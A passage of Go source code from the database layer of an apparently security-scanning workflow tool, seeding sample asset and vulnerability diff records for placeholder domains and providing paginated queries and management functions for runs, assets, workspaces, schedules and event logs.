assetDiffs := []AssetDiffSnapshot{
{
WorkspaceName: "example.com",
FromTime: oneWeekAgo,
ToTime: threeDaysAgo,
TotalAdded: 12,
TotalRemoved: 3,
TotalChanged: 5,
DiffData: `{"added":[{"asset_value":"new-api.example.com","host_ip":"192.168.1.50"},{"asset_value":"staging.example.com","host_ip":"192.168.1.51"}],"removed":[{"asset_value":"old-portal.example.com"}],"changed":[{"asset_value":"api.example.com","changes":{"status_code":{"from":200,"to":301}}}]}`,
CreatedAt: threeDaysAgo,
},
{
WorkspaceName: "example.com",
FromTime: threeDaysAgo,
ToTime: oneDayAgo,
TotalAdded: 5,
TotalRemoved: 1,
TotalChanged: 2,
DiffData: `{"added":[{"asset_value":"cdn.example.com","host_ip":"192.168.1.60"}],"removed":[],"changed":[{"asset_value":"blog.example.com","changes":{"title":{"from":"Blog","to":"Example Blog"}}}]}`,
CreatedAt: oneDayAgo,
},
{
WorkspaceName: "testsite.io",
FromTime: twoWeeksAgo,
ToTime: oneWeekAgo,
TotalAdded: 8,
TotalRemoved: 0,
TotalChanged: 3,
DiffData: `{"added":[{"asset_value":"app.testsite.io","host_ip":"10.0.0.20"},{"asset_value":"docs.testsite.io","host_ip":"10.0.0.21"}],"removed":[],"changed":[]}`,
CreatedAt: oneWeekAgo,
},
}
for _, diff := range assetDiffs {
if _, err := db.NewInsert().Model(&diff).Exec(ctx); err != nil {
return fmt.Errorf("failed to insert asset diff: %w", err)
}
}
// Seed VulnDiffSnapshots - showing vulnerability changes over time
vulnDiffs := []VulnDiffSnapshot{
{
WorkspaceName: "example.com",
FromTime: oneWeekAgo,
ToTime: threeDaysAgo,
TotalAdded: 4,
TotalRemoved: 2,
TotalChanged: 1,
DiffData: `{"added":[{"vuln_title":"SQL Injection - Authentication Bypass","severity":"critical","asset_value":"api.example.com"},{"vuln_title":"Reflected XSS - Search Parameter","severity":"high","asset_value":"blog.example.com"}],"removed":[{"vuln_title":"Outdated jQuery Version","severity":"low"}],"changed":[{"vuln_title":"Missing X-Frame-Options Header","changes":{"confidence":{"from":"tentative","to":"firm"}}}]}`,
CreatedAt: threeDaysAgo,
},
{
WorkspaceName: "example.com",
FromTime: threeDaysAgo,
ToTime: oneDayAgo,
TotalAdded: 2,
TotalRemoved: 1,
TotalChanged: 0,
DiffData: `{"added":[{"vuln_title":"Information Disclosure - Config File","severity":"high","asset_value":"dev.example.com"}],"removed":[{"vuln_title":"TLS 1.0 Enabled","severity":"low","asset_value":"legacy.example.com"}],"changed":[]}`,
CreatedAt: oneDayAgo,
},
{
WorkspaceName: "testsite.io",
FromTime: twoWeeksAgo,
ToTime: oneWeekAgo,
TotalAdded: 3,
TotalRemoved: 0,
TotalChanged: 0,
DiffData: `{"added":[{"vuln_title":"Open Redirect","severity":"medium","asset_value":"auth.testsite.io"},{"vuln_title":"CORS Misconfiguration","severity":"medium","asset_value":"api.testsite.io"}],"removed":[],"changed":[]}`,
CreatedAt: oneWeekAgo,
},
}
for _, diff := range vulnDiffs {
if _, err := db.NewInsert().Model(&diff).Exec(ctx); err != nil {
return fmt.Errorf("failed to insert vuln diff: %w", err)
}
}
return nil
}
// CleanDatabase removes all data from all tables
func CleanDatabase(ctx context.Context) error {
if db == nil {
return fmt.Errorf("database not connected")
}
// Delete in order respecting foreign key constraints
tables := []interface{}{
(*StepResult)(nil),
(*Artifact)(nil),
(*EventLog)(nil),
(*Run)(nil),
(*Asset)(nil),
(*Schedule)(nil),
(*Workspace)(nil),
(*Vulnerability)(nil),
(*WorkflowMeta)(nil),
(*AssetDiffSnapshot)(nil),
(*VulnDiffSnapshot)(nil),
}
for _, table := range tables {
if _, err := db.NewDelete().Model(table).Where("1=1").Exec(ctx); err != nil {
return fmt.Errorf("failed to clean table: %w", err)
}
}
return nil
}
// ClearTable removes all data from a specific table
func ClearTable(ctx context.Context, tableName string) error {
if db == nil {
return fmt.Errorf("database not connected")
}
// Map table names to models
tableModels := map[string]interface{}{
"runs": (*Run)(nil),
"step_results": (*StepResult)(nil),
"artifacts": (*Artifact)(nil),
"assets": (*Asset)(nil),
"event_logs": (*EventLog)(nil),
"schedules": (*Schedule)(nil),
"workspaces": (*Workspace)(nil),
"vulnerabilities": (*Vulnerability)(nil),
"asset_diffs": (*AssetDiffSnapshot)(nil),
"vuln_diffs": (*VulnDiffSnapshot)(nil),
}
model, ok := tableModels[tableName]
if !ok {
return fmt.Errorf("unknown table: %s (valid tables: %s)", tableName, strings.Join(ValidTableNames(), ", "))
}
if _, err := db.NewDelete().Model(model).Where("1=1").Exec(ctx); err != nil {
return fmt.Errorf("failed to clear table %s: %w", tableName, err)
}
return nil
}
// timePtr is a helper to create a pointer to a time.Time value
func timePtr(t time.Time) *time.Time {
return &t
}
// TableInfo holds information about a database table
type TableInfo struct {
Name string `json:"name"`
RowCount int `json:"row_count"`
}
// TableRecords holds paginated records from a table
type TableRecords struct {
Table string
TotalCount int
Offset int
Limit int
Records interface{}
}
// ValidTableNames returns the list of valid table names
func ValidTableNames() []string {
return []string{"runs", "step_results", "artifacts", "assets", "event_logs", "schedules", "workspaces", "vulnerabilities", "asset_diffs", "vuln_diffs"}
}
// ListTables returns information about all database tables
func ListTables(ctx context.Context) ([]TableInfo, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
tables := []struct {
name string
model interface{}
}{
{"runs", (*Run)(nil)},
{"step_results", (*StepResult)(nil)},
{"artifacts", (*Artifact)(nil)},
{"assets", (*Asset)(nil)},
{"event_logs", (*EventLog)(nil)},
{"schedules", (*Schedule)(nil)},
{"workspaces", (*Workspace)(nil)},
{"vulnerabilities", (*Vulnerability)(nil)},
{"asset_diffs", (*AssetDiffSnapshot)(nil)},
{"vuln_diffs", (*VulnDiffSnapshot)(nil)},
}
var result []TableInfo
for _, t := range tables {
count, err := db.NewSelect().Model(t.model).Count(ctx)
if err != nil {
// Table might not exist yet, return 0
count = 0
}
result = append(result, TableInfo{
Name: t.name,
RowCount: count,
})
}
return result, nil
}
// tableSearchColumns defines which columns to search for each table
var tableSearchColumns = map[string][]string{
"runs": {"id", "run_uuid", "run_group_id", "workflow_name", "target", "workspace", "status", "error_message"},
"step_results": {"id", "run_id", "step_name", "step_type", "status", "command", "output", "error_message"},
"artifacts": {"id", "run_id", "workspace", "name", "artifact_path", "artifact_type", "description"},
"assets": {"workspace", "asset_value", "url", "input", "scheme", "method", "path",
"status_code", "content_type", "title", "host_ip", "dns_records", "tls",
"asset_type", "tech", "remarks", "language", "source", "external_url"},
"event_logs": {"event_id", "topic", "name", "source", "workspace", "run_id", "workflow_name", "data"},
"schedules": {"id", "name", "workflow_name", "workflow_kind", "target", "trigger_name", "schedule"},
"workspaces": {"name", "local_path", "data_source", "run_workflow"},
"vulnerabilities": {"workspace", "vuln_title", "vuln_info", "severity", "confidence", "asset_value", "asset_type"},
"asset_diffs": {"workspace_name", "diff_data"},
"vuln_diffs": {"workspace_name", "diff_data"},
}
// tableDisplayColumns defines which columns to display by default for each table (ordered)
var tableDisplayColumns = map[string][]string{
"runs": {"run_uuid", "workflow_name", "target", "workspace", "trigger_type", "status", "completed_steps", "total_steps", "started_at"},
"step_results": {"step_name", "step_type", "status", "duration_ms", "command"},
"artifacts": {"name", "artifact_path", "artifact_type", "content_type", "size_bytes", "line_count"},
"assets": {"asset_value", "status_code", "title", "tech", "host_ip", "source", "asset_type", "url"},
"event_logs": {"topic", "name", "source", "workspace", "created_at"},
"schedules": {"name", "workflow_name", "workflow_kind", "target", "trigger_type", "schedule", "is_enabled"},
"workspaces": {"name", "data_source", "total_assets", "total_ips", "total_vulns", "risk_score", "last_run"},
"vulnerabilities": {"vuln_title", "severity", "confidence", "asset_value", "last_seen_at", "workspace"},
"asset_diffs": {"workspace_name", "from_time", "to_time", "total_added", "total_removed", "total_changed", "created_at"},
"vuln_diffs": {"workspace_name", "from_time", "to_time", "total_added", "total_removed", "total_changed", "created_at"},
}
// tableAllColumns defines ALL columns for each table (ordered, matching model structs)
var tableAllColumns = map[string][]string{
"runs": {"id", "run_uuid", "run_group_id", "workflow_name", "workflow_kind", "target", "params",
"status", "workspace", "started_at", "completed_at", "error_message",
"schedule_id", "trigger_type", "trigger_name", "total_steps",
"completed_steps", "current_pid", "run_priority", "run_mode", "created_at", "updated_at"},
"step_results": {"id", "run_id", "step_name", "step_type", "status", "command",
"output", "error_message", "exports", "duration_ms", "log_file",
"started_at", "completed_at", "created_at"},
"artifacts": {"id", "run_id", "workspace", "name", "artifact_path", "artifact_type",
"content_type", "size_bytes", "line_count", "description", "created_at"},
"assets": {"id", "workspace", "asset_value", "url", "input", "scheme", "method", "path",
"status_code", "content_type", "content_length", "title", "words",
"lines", "host_ip", "dns_records", "tls", "asset_type", "tech",
"response_time", "remarks", "language", "size", "loc", "blob_content", "source", "raw_json_data", "raw_response",
"screenshot_base64_data", "external_url", "last_seen_at", "created_at", "updated_at"},
"event_logs": {"id", "topic", "event_id", "name", "source_type", "source", "data_type", "data",
"workspace", "run_id", "workflow_name", "processed", "processed_at",
"error", "created_at"},
"schedules": {"id", "name", "workflow_name", "workflow_kind", "target", "workspace",
"params", "trigger_name", "trigger_type", "schedule", "event_topic", "watch_path",
"is_enabled", "last_run", "next_run", "run_count", "created_at", "updated_at"},
"workspaces": {"id", "name", "local_path", "data_source", "total_assets", "total_subdomains",
"total_urls", "total_ips", "total_links", "total_content", "total_archive",
"total_vulns", "vuln_critical", "vuln_high", "vuln_medium", "vuln_low",
"vuln_potential", "risk_score", "tags", "last_run", "run_workflow",
"state_execution_log", "state_completed_file", "state_workflow_file",
"state_workflow_folder", "created_at", "updated_at"},
"vulnerabilities": {"id", "workspace", "vuln_info", "vuln_title", "vuln_desc",
"vuln_poc", "severity", "confidence", "asset_type", "asset_value", "tags",
"detail_http_request", "detail_http_response", "raw_vuln_json",
"last_seen_at", "created_at", "updated_at"},
"asset_diffs": {"id", "workspace_name", "from_time", "to_time", "total_added",
"total_removed", "total_changed", "diff_data", "created_at"},
"vuln_diffs": {"id", "workspace_name", "from_time", "to_time", "total_added",
"total_removed", "total_changed", "diff_data", "created_at"},
}
// GetAllTableColumns returns ALL columns for a table (for column selection UI)
func GetAllTableColumns(tableName string) []string {
if cols, ok := tableAllColumns[tableName]; ok {
return cols
}
return nil
}
// GetTableColumns returns the display columns for a table
func GetTableColumns(tableName string) []string {
if cols, ok := tableDisplayColumns[tableName]; ok {
return cols
}
// Fallback to search columns if no display columns defined
if cols, ok := tableSearchColumns[tableName]; ok {
return cols
}
return nil
}
// AssetHeavyColumns are columns excluded from asset queries by default to prevent OOM.
// These fields can be multi-MB per row (HTTP responses, screenshots, file contents).
var AssetHeavyColumns = []string{"raw_json_data", "raw_response", "screenshot_base64_data", "blob_content"}
// GetTableRecords returns paginated records from a specific table with optional filters and search.
// excludeColumns specifies columns to omit from the SELECT (useful for skipping large blob fields).
func GetTableRecords(ctx context.Context, tableName string, offset, limit int, filters map[string]string, fuzzyFilters map[string]string, search string, excludeColumns []string) (*TableRecords, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
result := &TableRecords{
Table: tableName,
Offset: offset,
Limit: limit,
}
searchCols := tableSearchColumns[tableName]
// Helper to apply filters and search to a query
applyFilters := func(query *bun.SelectQuery) *bun.SelectQuery {
// Apply exact filters
for key, value := range filters {
query = query.Where("? = ?", bun.Ident(key), value)
}
// Apply fuzzy (LIKE) filters — case-insensitive substring match per column
for key, value := range fuzzyFilters {
pattern := "%" + value + "%"
query = query.Where("LOWER(CAST(? AS TEXT)) LIKE LOWER(?)", bun.Ident(key), pattern)
}
// Apply search across columns (OR conditions)
if search != "" && len(searchCols) > 0 {
searchPattern := "%" + search + "%"
query = query.WhereGroup(" AND ", func(sq *bun.SelectQuery) *bun.SelectQuery {
for i, col := range searchCols {
if i == 0 {
sq = sq.Where("LOWER(CAST(? AS TEXT)) LIKE LOWER(?)", bun.Ident(col), searchPattern)
} else {
sq = sq.WhereOr("LOWER(CAST(? AS TEXT)) LIKE LOWER(?)", bun.Ident(col), searchPattern)
}
}
return sq
})
}
return query
}
switch tableName {
case "runs":
var records []Run
countQuery := applyFilters(db.NewSelect().Model(&records))
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count records: %w", err)
}
result.TotalCount = count
fetchQuery := applyFilters(db.NewSelect().Model(&records))
err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch records: %w", err)
}
result.Records = records
case "step_results":
var records []StepResult
countQuery := applyFilters(db.NewSelect().Model(&records))
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count records: %w", err)
}
result.TotalCount = count
fetchQuery := applyFilters(db.NewSelect().Model(&records))
err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch records: %w", err)
}
result.Records = records
case "artifacts":
var records []Artifact
countQuery := applyFilters(db.NewSelect().Model(&records))
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count records: %w", err)
}
result.TotalCount = count
fetchQuery := applyFilters(db.NewSelect().Model(&records))
err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch records: %w", err)
}
result.Records = records
case "assets":
var records []Asset
countQuery := applyFilters(db.NewSelect().Model(&records))
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count records: %w", err)
}
result.TotalCount = count
fetchQuery := applyFilters(db.NewSelect().Model(&records))
if len(excludeColumns) > 0 {
fetchQuery = fetchQuery.ExcludeColumn(excludeColumns...)
}
err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch records: %w", err)
}
result.Records = records
case "event_logs":
var records []EventLog
countQuery := applyFilters(db.NewSelect().Model(&records))
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count records: %w", err)
}
result.TotalCount = count
fetchQuery := applyFilters(db.NewSelect().Model(&records))
err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch records: %w", err)
}
result.Records = records
case "schedules":
var records []Schedule
countQuery := applyFilters(db.NewSelect().Model(&records))
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count records: %w", err)
}
result.TotalCount = count
fetchQuery := applyFilters(db.NewSelect().Model(&records))
err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch records: %w", err)
}
result.Records = records
case "workspaces":
var records []Workspace
countQuery := applyFilters(db.NewSelect().Model(&records))
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count records: %w", err)
}
result.TotalCount = count
fetchQuery := applyFilters(db.NewSelect().Model(&records))
err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch records: %w", err)
}
result.Records = records
case "vulnerabilities":
var records []Vulnerability
countQuery := applyFilters(db.NewSelect().Model(&records))
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count records: %w", err)
}
result.TotalCount = count
fetchQuery := applyFilters(db.NewSelect().Model(&records))
err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch records: %w", err)
}
result.Records = records
case "asset_diffs":
var records []AssetDiffSnapshot
countQuery := applyFilters(db.NewSelect().Model(&records))
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count records: %w", err)
}
result.TotalCount = count
fetchQuery := applyFilters(db.NewSelect().Model(&records))
err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch records: %w", err)
}
result.Records = records
case "vuln_diffs":
var records []VulnDiffSnapshot
countQuery := applyFilters(db.NewSelect().Model(&records))
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count records: %w", err)
}
result.TotalCount = count
fetchQuery := applyFilters(db.NewSelect().Model(&records))
err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch records: %w", err)
}
result.Records = records
default:
return nil, fmt.Errorf("unknown table: %s (valid tables: %v)", tableName, ValidTableNames())
}
return result, nil
}
// AssetQuery holds query parameters for listing assets
type AssetQuery struct {
Workspace string
Search string
StatusCode int
Offset int
Limit int
}
// AssetResult holds paginated asset results
type AssetResult struct {
Data []Asset
TotalCount int
Offset int
Limit int
}
// ListAssets returns paginated assets with optional filters
func ListAssets(ctx context.Context, query AssetQuery) (*AssetResult, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
result := &AssetResult{
Offset: query.Offset,
Limit: query.Limit,
}
// Helper to apply filters to a query
applyFilters := func(q *bun.SelectQuery) *bun.SelectQuery {
if query.Workspace != "" {
q = q.Where("workspace = ?", query.Workspace)
}
if query.Search != "" {
searchPattern := "%" + query.Search + "%"
q = q.WhereGroup(" AND ", func(sq *bun.SelectQuery) *bun.SelectQuery {
return sq.
Where("asset_value LIKE ?", searchPattern).
WhereOr("url LIKE ?", searchPattern).
WhereOr("title LIKE ?", searchPattern).
WhereOr("host_ip LIKE ?", searchPattern)
})
}
if query.StatusCode > 0 {
q = q.Where("status_code = ?", query.StatusCode)
}
return q
}
// Get total count
countQuery := db.NewSelect().Model((*Asset)(nil))
countQuery = applyFilters(countQuery)
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count assets: %w", err)
}
result.TotalCount = count
// Get paginated results
baseQuery := db.NewSelect().Model(&result.Data)
baseQuery = applyFilters(baseQuery)
err = baseQuery.
Order("created_at DESC").
Offset(query.Offset).
Limit(query.Limit).
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch assets: %w", err)
}
return result, nil
}
type ArtifactQuery struct {
Workspace string
Search string
StatusCode int
Offset int
Limit int
}
type ArtifactResult struct {
Data []Artifact
TotalCount int
Offset int
Limit int
}
func ListArtifacts(ctx context.Context, query ArtifactQuery) (*ArtifactResult, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
result := &ArtifactResult{
Offset: query.Offset,
Limit: query.Limit,
}
applyFilters := func(q *bun.SelectQuery) *bun.SelectQuery {
if query.Workspace != "" {
q = q.Where("workspace = ?", query.Workspace)
}
if query.Search != "" {
searchPattern := "%" + query.Search + "%"
q = q.WhereGroup(" AND ", func(sq *bun.SelectQuery) *bun.SelectQuery {
return sq.
Where("id LIKE ?", searchPattern).
WhereOr("run_id LIKE ?", searchPattern).
WhereOr("workspace LIKE ?", searchPattern).
WhereOr("name LIKE ?", searchPattern).
WhereOr("artifact_path LIKE ?", searchPattern).
WhereOr("artifact_type LIKE ?", searchPattern).
WhereOr("content_type LIKE ?", searchPattern).
WhereOr("description LIKE ?", searchPattern)
})
}
return q
}
countQuery := db.NewSelect().Model((*Artifact)(nil))
countQuery = applyFilters(countQuery)
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count artifacts: %w", err)
}
result.TotalCount = count
baseQuery := db.NewSelect().Model(&result.Data)
baseQuery = applyFilters(baseQuery)
err = baseQuery.
Order("created_at DESC").
Offset(query.Offset).
Limit(query.Limit).
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch artifacts: %w", err)
}
return result, nil
}
// WorkspaceInfo holds workspace information
type WorkspaceInfo struct {
Name string `json:"name"`
AssetCount int `json:"asset_count"`
}
// WorkspaceResult holds paginated workspace results
type WorkspaceResult struct {
Data []WorkspaceInfo
TotalCount int
Offset int
Limit int
}
// ListWorkspacesFromDB returns unique workspaces from assets table with asset counts
// This is used when filesystem=true to show workspaces derived from asset data
func ListWorkspacesFromDB(ctx context.Context, offset, limit int) (*WorkspaceResult, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
result := &WorkspaceResult{
Offset: offset,
Limit: limit,
}
// Get total count of unique workspaces
var totalCount int
err := db.NewSelect().
Model((*Asset)(nil)).
ColumnExpr("COUNT(DISTINCT workspace)").
Scan(ctx, &totalCount)
if err != nil {
return nil, fmt.Errorf("failed to count workspaces: %w", err)
}
result.TotalCount = totalCount
// Get paginated unique workspaces with asset counts
var workspaces []WorkspaceInfo
err = db.NewSelect().
Model((*Asset)(nil)).
ColumnExpr("workspace AS name").
ColumnExpr("COUNT(*) AS asset_count").
Group("workspace").
Order("workspace ASC").
Offset(offset).
Limit(limit).
Scan(ctx, &workspaces)
if err != nil {
return nil, fmt.Errorf("failed to fetch workspaces: %w", err)
}
result.Data = workspaces
return result, nil
}
func ListAllWorkspacesFromAssets(ctx context.Context) ([]WorkspaceInfo, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
var workspaces []WorkspaceInfo
err := db.NewSelect().
Model((*Asset)(nil)).
ColumnExpr("workspace AS name").
ColumnExpr("COUNT(*) AS asset_count").
Group("workspace").
Order("workspace ASC").
Scan(ctx, &workspaces)
if err != nil {
return nil, fmt.Errorf("failed to fetch workspaces: %w", err)
}
return workspaces, nil
}
// FullWorkspaceResult holds paginated results from the workspaces table
type FullWorkspaceResult struct {
Data []Workspace `json:"data"`
TotalCount int `json:"total_count"`
Offset int `json:"offset"`
Limit int `json:"limit"`
}
// ListWorkspacesFullFromDB returns workspaces from the workspaces table with full details
func ListWorkspacesFullFromDB(ctx context.Context, offset, limit int) (*FullWorkspaceResult, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
result := &FullWorkspaceResult{
Offset: offset,
Limit: limit,
}
// Get total count
totalCount, err := db.NewSelect().
Model((*Workspace)(nil)).
Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count workspaces: %w", err)
}
result.TotalCount = totalCount
// Get paginated workspaces with full details
var workspaces []Workspace
err = db.NewSelect().
Model(&workspaces).
Order("name ASC").
Offset(offset).
Limit(limit).
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch workspaces: %w", err)
}
result.Data = workspaces
return result, nil
}
// UpsertWorkspace creates or updates a workspace record
func UpsertWorkspace(ctx context.Context, workspace *Workspace) error {
if db == nil {
return fmt.Errorf("database not connected")
}
// Check if workspace exists
existing := new(Workspace)
err := db.NewSelect().
Model(existing).
Where("name = ?", workspace.Name).
Scan(ctx)
if err == nil {
// Update existing workspace
workspace.ID = existing.ID
workspace.CreatedAt = existing.CreatedAt
_, err = db.NewUpdate().
Model(workspace).
WherePK().
Exec(ctx)
return err
}
// Insert new workspace
_, err = db.NewInsert().
Model(workspace).
Exec(ctx)
return err
}
// GetWorkspaceByName retrieves a workspace by name
func GetWorkspaceByName(ctx context.Context, name string) (*Workspace, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
workspace := new(Workspace)
err := db.NewSelect().
Model(workspace).
Where("name = ?", name).
Scan(ctx)
if err != nil {
return nil, err
}
return workspace, nil
}
// ScheduleResult holds paginated schedule results
type ScheduleResult struct {
Data []Schedule `json:"data"`
TotalCount int `json:"total_count"`
Offset int `json:"offset"`
Limit int `json:"limit"`
}
// CreateScheduleInput holds input for creating a schedule
type CreateScheduleInput struct {
Name string
WorkflowName string
WorkflowKind string // "module" or "flow"
Target string // Target to scan
Workspace string // Workspace name
Params map[string]interface{} // Workflow parameters
TriggerType string // cron, event, watch, manual
Schedule string // Cron expression (for cron trigger)
EventTopic string // Event topic (for event trigger)
WatchPath string // Watch path (for watch trigger)
Enabled bool
NextRun *time.Time // Initial next run time (computed from cron expression)
}
// UpdateScheduleInput holds input for updating a schedule
type UpdateScheduleInput struct {
Name string
Target string
Workspace string
Params map[string]interface{}
Schedule string
Enabled *bool
}
// ListSchedules returns paginated schedules
func ListSchedules(ctx context.Context, offset, limit int) (*ScheduleResult, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
result := &ScheduleResult{
Offset: offset,
Limit: limit,
}
// Get total count
totalCount, err := db.NewSelect().
Model((*Schedule)(nil)).
Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count schedules: %w", err)
}
result.TotalCount = totalCount
// Get paginated schedules
var schedules []Schedule
err = db.NewSelect().
Model(&schedules).
Order("created_at DESC").
Offset(offset).
Limit(limit).
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch schedules: %w", err)
}
result.Data = schedules
return result, nil
}
// GetScheduleByID returns a schedule by ID
func GetScheduleByID(ctx context.Context, id string) (*Schedule, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
var schedule Schedule
err := db.NewSelect().
Model(&schedule).
Where("id = ?", id).
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("schedule not found: %w", err)
}
return &schedule, nil
}
// CreateSchedule creates a new schedule
func CreateSchedule(ctx context.Context, input CreateScheduleInput) (*Schedule, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
// Default trigger type to cron if not specified
triggerType := input.TriggerType
if triggerType == "" {
triggerType = "cron"
}
schedule := &Schedule{
ID: generateID(),
Name: input.Name,
WorkflowName: input.WorkflowName,
WorkflowKind: input.WorkflowKind,
Target: input.Target,
Workspace: input.Workspace,
Params: input.Params,
TriggerType: triggerType,
TriggerName: input.Name,
Schedule: input.Schedule,
EventTopic: input.EventTopic,
WatchPath: input.WatchPath,
IsEnabled: input.Enabled,
NextRun: input.NextRun,
CreatedAt: time.Now(),
UpdatedAt: time.Now(),
}
_, err := db.NewInsert().Model(schedule).Exec(ctx)
if err != nil {
return nil, fmt.Errorf("failed to create schedule: %w", err)
}
return schedule, nil
}
// UpdateSchedule updates an existing schedule
func UpdateSchedule(ctx context.Context, id string, input UpdateScheduleInput) (*Schedule, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
// Get existing schedule
schedule, err := GetScheduleByID(ctx, id)
if err != nil {
return nil, err
}
// Update fields if provided
if input.Name != "" {
schedule.Name = input.Name
schedule.TriggerName = input.Name
}
if input.Target != "" {
schedule.Target = input.Target
}
if input.Workspace != "" {
schedule.Workspace = input.Workspace
}
if input.Params != nil {
schedule.Params = input.Params
}
if input.Schedule != "" {
schedule.Schedule = input.Schedule
}
if input.Enabled != nil {
schedule.IsEnabled = *input.Enabled
}
schedule.UpdatedAt = time.Now()
_, err = db.NewUpdate().
Model(schedule).
WherePK().
Exec(ctx)
if err != nil {
return nil, fmt.Errorf("failed to update schedule: %w", err)
}
return schedule, nil
}
// DeleteSchedule deletes a schedule by ID
func DeleteSchedule(ctx context.Context, id string) error {
if db == nil {
return fmt.Errorf("database not connected")
}
result, err := db.NewDelete().
Model((*Schedule)(nil)).
Where("id = ?", id).
Exec(ctx)
if err != nil {
return fmt.Errorf("failed to delete schedule: %w", err)
}
rowsAffected, _ := result.RowsAffected()
if rowsAffected == 0 {
return fmt.Errorf("schedule not found")
}
return nil
}
// UpdateScheduleLastRun updates the last run time for a schedule
func UpdateScheduleLastRun(ctx context.Context, id string) error {
if db == nil {
return fmt.Errorf("database not connected")
}
now := time.Now()
_, err := db.NewUpdate().
Model((*Schedule)(nil)).
Set("last_run = ?", now).
Set("run_count = run_count + 1").
Set("updated_at = ?", now).
Where("id = ?", id).
Exec(ctx)
return err
}
// generateID generates a unique ID for schedules
func generateID() string {
return fmt.Sprintf("sch_%d", time.Now().UnixNano())
}
// EventLogResult holds paginated event log results
type EventLogResult struct {
Data []EventLog `json:"data"`
TotalCount int `json:"total_count"`
Offset int `json:"offset"`
Limit int `json:"limit"`
}
// EventLogQuery holds query parameters for listing event logs
type EventLogQuery struct {
Topic string
Name string
Source string
Workspace string
RunID string
WorkflowName string
Processed *bool
Offset int
Limit int
}
// ListEventLogs returns paginated event logs with optional filtering
func ListEventLogs(ctx context.Context, query EventLogQuery) (*EventLogResult, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
result := &EventLogResult{
Offset: query.Offset,
Limit: query.Limit,
}
// Build base query
baseQuery := db.NewSelect().Model((*EventLog)(nil))
// Apply filters
if query.Topic != "" {
baseQuery = baseQuery.Where("topic = ?", query.Topic)
}
if query.Name != "" {
baseQuery = baseQuery.Where("name = ?", query.Name)
}
if query.Source != "" {
baseQuery = baseQuery.Where("source = ?", query.Source)
}
if query.Workspace != "" {
baseQuery = baseQuery.Where("workspace = ?", query.Workspace)
}
if query.RunID != "" {
baseQuery = baseQuery.Where("run_id = ?", query.RunID)
}
if query.WorkflowName != "" {
baseQuery = baseQuery.Where("workflow_name = ?", query.WorkflowName)
}
if query.Processed != nil {
baseQuery = baseQuery.Where("processed = ?", *query.Processed)
}
// Get total count with filters
totalCount, err := baseQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count event logs: %w", err)
}
result.TotalCount = totalCount
// Get paginated event logs
var eventLogs []EventLog
err = db.NewSelect().
Model(&eventLogs).
Apply(func(q *bun.SelectQuery) *bun.SelectQuery {
if query.Topic != "" {
q = q.Where("topic = ?", query.Topic)
}
if query.Name != "" {
q = q.Where("name = ?", query.Name)
}
if query.Source != "" {
q = q.Where("source = ?", query.Source)
}
if query.Workspace != "" {
q = q.Where("workspace = ?", query.Workspace)
}
if query.RunID != "" {
q = q.Where("run_id = ?", query.RunID)
}
if query.WorkflowName != "" {
q = q.Where("workflow_name = ?", query.WorkflowName)
}
if query.Processed != nil {
q = q.Where("processed = ?", *query.Processed)
}
return q
}).
Order("created_at DESC").
Offset(query.Offset).
Limit(query.Limit).
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch event logs: %w", err)
}
